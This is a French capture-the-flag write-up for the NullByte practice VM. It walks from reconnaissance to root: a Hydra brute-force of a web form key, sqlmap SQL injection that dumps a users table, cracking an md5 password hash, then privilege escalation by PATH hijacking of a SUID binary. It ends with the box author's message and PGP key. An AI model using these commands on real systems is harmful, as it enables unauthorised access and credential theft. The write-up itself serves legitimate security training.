**NullByte - Write Up** __Reconnaissance__ ports ouverts : nmap -sS 192.168.43.111 Starting Nmap 6.47 ( http://nmap.org ) at 2017-08-08 09:34 CEST Nmap scan report for NullByte (192.168.43.111) Host is up (0.00062s latency). Not shown: 997 closed ports PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 777/tcp open multiling-http Port 111 : rpcinfo -p 192.168.43.111 program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100000 3 udp 111 portmapper 100000 2 udp 111 portmapper 100024 1 udp 38070 status 100024 1 tcp 50679 status Port 777 : nc 192.168.43.111 777 SSH-2.0-OpenSSH_6.7p1 Debian-5 __Exploitation Web__ Pour le port 80 : {{ :vm:nullbyte_web.png?nolink |}} Avec l'outil [[https://sourceforge.net/projects/dirb/files/ | dirb]] on va chercher les fichiers existants : ./dirb http://192.168.43.111/ wordlists/common.txt ---- Scanning URL: http://192.168.43.111/ ---- + http://192.168.43.111/index.html (CODE:200|SIZE:196) ==> DIRECTORY: http://192.168.43.111/javascript/ ==> DIRECTORY: http://192.168.43.111/phpmyadmin/ ==> DIRECTORY: http://192.168.43.111/uploads/ Dans le dossier uploads : Uploads dir

Directory listing not allowed here.

Dans le dossier phpmyadmin : {{ :vm:nullbyte_phpmyadmin.png?nolink |}} La version 4.2.12 est faillible uniquement aux XSS et au DOS. Le dossier javascript contient les fichiers jquery. En retournant voir l'image d'accueil : exiftool main.gif ExifTool Version Number : 9.74 File Name : main.gif Directory : . File Size : 16 kB File Modification Date/Time : 2017:08:08 09:56:17+02:00 File Access Date/Time : 2017:08:08 09:56:17+02:00 File Inode Change Date/Time : 2017:08:08 09:56:17+02:00 File Permissions : rw-r--r-- File Type : GIF MIME Type : image/gif GIF Version : 89a Image Width : 235 Image Height : 302 Has Color Map : No Color Resolution Depth : 8 Bits Per Pixel : 1 Background Color : 0 Comment : P-): kzMb5nVYJw Image Size : 235x302 Un dossier **kzMb5nVYJw** existe sur le site web. Une clé nous est demandée : {{ :vm:nullbyte_key.png?nolink |}} Dans le code source : {{ :vm:nullbyte_kzmb5vyjw_comment.png?nolink |}} On bruteforce la clé avec Hydra : hydra 192.168.43.111 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l ignore -P /home/ark1nar/outils/wordlist/rockyou.txt {{ :vm:nullbyte_hydra.png?nolink |}} La clé est : **elite** {{ :vm:nullbyte_search.png?nolink |}} On valide le formulaire sans entrer de nom d'utilisateur : {{ :vm:nullbyte_kzmb5vyjw_search.png?nolink |}} Nous avons deux utilisateurs : - ramses - isis Le champs usrtosearch est faillible au injection SQL : ./sqlmap.py -u http://192.168.43.111/kzMb5nVYJw/420search.php\?usrtosearch=ramses --dbs back-end DBMS: MySQL >= 5.5 available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] seth ./sqlmap.py -u http://192.168.43.111/kzMb5nVYJw/420search.php\?usrtosearch=ramses -D seth -T users --dump {{ :vm:nullbyte_sqli.png?nolink |}} echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d c6d6bd7ebf806f43c76acc3681703b81 On trouve la correspondance du md5 sur [[https://crackstation.net/]] {{ :vm:nullbyte_md5.png?nolink |}} On se connecte grâce aux identifiants ramses/omega en SSH sur le serveur (port 777). __Exploitation système & Élévation de privilège__ Récupération des informations systèmes : ramses@NullByte:~$ uname -a Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux ramses@NullByte:~$ lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux 8.1 (jessie) Release: 8.1 Codename: jessie Récupération de la liste des binaires suid : ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/pt_chown /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/procmail /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/passwd /usr/bin/sudo /usr/sbin/exim4 /var/www/backup/procwatch /bin/su /bin/mount /bin/umount /sbin/mount.nfs Vérification de la vulnérabilité exim4 : ramses@NullByte:~$ /usr/sbin/exim4 --version Exim version 4.84 #3 built 17-Feb-2015 17:01:53 Copyright (c) University of Cambridge, 1995 - 2014 (c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2014 Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013) Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM PRDR OCSP Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd Authenticators: cram_md5 plaintext Routers: accept dnslookup ipliteral manualroute queryprogram redirect Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp Fixed never_users: 0 Size of off_t: 8 Configuration file is /var/lib/exim4/config.autogenerate La version 4.84 est vulnérable à une élévation de privilège à condition que le Perl soit dans la configuration. Ce n'est pas le cas ici. Vérification du bash_history de l'utilisateur ramses bash-4.3$ cat .bash_history sudo -s su eric exit ls clear cd /var/www cd backup/ Le binaire procwatch est suspect : ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1354 pts/0 00:00:00 procwatch 1355 pts/0 00:00:00 sh 1356 pts/0 00:00:00 ps Exploitation de procwatch : ramses@NullByte:/var/www/backup$ echo '/bin/sh' > ps ramses@NullByte:/var/www/backup$ env USER=ramses PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games PWD=/var/www/backup HOME=/home/ramses ramses@NullByte:/var/www/backup$ export PATH=/var/www/backup:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ chmod +x ps ramses@NullByte:/var/www/backup$ ./procwatch # id uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses) Nous sommes maintenant root. Affichons le flag : # cat /root/proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mail at xly0n@sigaint.org attach the walk and proof.txt If sigaint.org is down you may mail at nbsly0n@gmail.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK----- Merci à l'auteur de la machine.